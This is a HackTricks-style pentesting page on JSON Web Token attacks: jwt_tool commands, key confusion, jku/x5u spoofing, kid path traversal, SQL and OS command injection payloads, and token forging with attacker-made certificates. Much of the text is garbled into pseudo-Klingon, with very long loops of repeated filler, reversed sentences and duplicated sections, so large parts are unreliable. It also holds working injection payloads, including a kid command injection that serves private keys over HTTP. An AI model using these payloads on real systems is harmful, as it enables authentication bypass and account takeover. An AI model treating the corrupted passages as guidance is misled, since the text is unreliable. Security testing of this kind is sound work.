28 KiB
JWT Vulnerabilities (Json Web Tokens)
htARTE (HackTricks AWS Red Team Expert) !HackTricks AWS Red Team Expert!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Part of this post is based in the awesome post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Author of the great tool to pentest JWTs https://github.com/ticarpi/jwt_tool
Quick Wins
Run jwt_tool with mode All Tests!
and wait for green lines
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
qaStaHvIS, 'ejwI' vItlhutlhlaHbe'chugh, web application 'e' vItlhutlhlaHbe'chugh JWT qatlh:
vaj, request vItlhutlhlaHbe'chugh proxy vaj jwt_ tool vItlhutlhlaHbe'chugh request 'e' vItlhutlhlaHbe'chugh JWT vItlhutlhlaHbe'chugh:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Tamper data without modifying anything
QapHa' tamper data vItlhutlh. QapHa' tamper data vItlhutlh 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yuQjIjDI' 'e' yIlo' 'ej yu
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
New public key inside the header
ghItlhvam 'ej token header vItlhutlh (CVE-2018-0114) token vItlhutlh vItlhutlh.
"JSON Web Tokens" Burp extension vItlhutlh.
(Repeater vItlhutlh, JSON Web Token tab "CVE-2018-0114" vItlhutlh 'ej vItlhutlh).
JWKS Spoofing
JWT token security jatlh JWT tokens, jatlh "jku" header claim vItlhutlh. vItlhutlh JWKS (JSON Web Key Set) file vItlhutlh token verification vItlhutlh public key vItlhutlh.
-
"jku" Header vItlhutlh Tokens jatlh:
-
"jku" claim URL vItlhutlh JWKS file vItlhutlh.
-
token "jku" value vItlhutlh vItlhutlh controlled web service vItlhutlh traffic observation vItlhutlh.
-
HTTP Interaction vItlhutlh Monitoring:
-
HTTP requests vItlhutlh specified URL vItlhutlh server's attempts vItlhutlh keys fetch vItlhutlh provided link.
-
jwt_tool
vItlhutlh,jwtconf.ini
file vItlhutlh personal JWKS location vItlhutlh testing vItlhutlh. -
jwt_tool
Command: -
jwt_tool
vItlhutlh scenario simulate vItlhutlh command vItlhutlh:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
kid
optional header claim vItlhutlh token signature verification vItlhutlh multiple keys exist vItlhutlh identifying a specific key vItlhutlh. token signature verification vItlhutlh appropriate key vItlhutlh select vItlhutlh claim vItlhutlh.
"kid" through Key Revealing
kid
claim vItlhutlh header vItlhutlh, web directory vItlhutlh corresponding file vItlhutlh variations vItlhutlh. example, "kid":"key/12345"
vItlhutlh, files /key/12345 'ej /key/12345.pem web root vItlhutlh.
"kid" with Path Traversal
kid
claim vItlhutlh file system navigate vItlhutlh exploited vItlhutlh, arbitrary file vItlhutlh select vItlhutlh allowing vItlhutlh. connectivity vItlhutlh execute Server-Side Request Forgery (SSRF) attacks vItlhutlh kid
value vItlhutlh target specific files vItlhutlh services vItlhutlh. JWT tampering vItlhutlh kid
value change vItlhutlh original signature retain vItlhutlh -T
flag jwt_tool vItlhutlh achieve, vItlhutlh:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
SQL Injection via "kid"
If the kid
claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid
payload. An example payload that uses SQL injection to alter the JWT signing process includes:
non-existent-index' UNION SELECT 'ATTACKER';-- -
This alteration forces the use of a known secret key, ATTACKER
, for JWT signing.
OS Injection through "kid"
A scenario where the kid
parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid
parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
jwt.io vItlhutlh JWT chel public je private keys 'ej jku parameter certificate created pointing chel JWT new create to use can SoH. valid jku certificate create to order In parameters needed the change and one original the download can you
"e" je "n" parameters public certificate a from obtain can you SoH.
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. A URI pointing to a set of X.509 (a certificate format standard) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807. Transport security is required to transfer the certificates.
Try to change this header to an URL under your control and check if any request is received. In that case you could tamper the JWT.
To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys:
x5u
X.509 URL. A URI pointing to a set of X.509 (a certificate format standard) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807. Transport security is required to transfer the certificates.
Try to change this header to an URL under your control and check if any request is received. In that case you could tamper the JWT.
To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
jwt.io (https://jwt.io) vItlh jwt chel 'ej private keys 'ej x5u parameter certificate .crt created jwt chel **'ej created public jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **'ej jwt **
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Embedded Public Key (CVE-2018-0114)
If the JWT has embedded a public key like in the following scenario:
Using the following nodejs script it's possible to generate a public key from that data:
qarDaq QaD (CVE-2018-0114)
jwt DaH jatlh public key embedded vaj scenario vay':
nodejs script vaj public key generate laH:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Klingon Translation:
Qapla'! yIqImuSmoHlaHbe' 'ej yIqImuSmoHlaHbe' 'e' vItlhutlh. yIqImuSmoHlaHbe' token vItlhutlh public key, token vItlhutlh public key yIqImuSmoHlaHbe' 'ej yIqImuSmoHlaHbe' signature vItlhutlh.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
ghItlh "n" je "e" ghaH je nodejs script vItlhutlh.
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
JTI (JWT ID)
JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximum length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementing the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).
JWT Registered claims
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
Other attacks
Cross-service Relay Attacks
It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.
- A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user's account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.
Expiry Check of Tokens
The token's expiry is checked using the "exp" Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user's JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the "exp" claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an "exp" claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool's -R flag.
- A security risk may be present if the application still validates the token, as it may imply that the token could never expire.
Tools
{% embed url="https://github.com/ticarpi/jwt_tool" %}
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.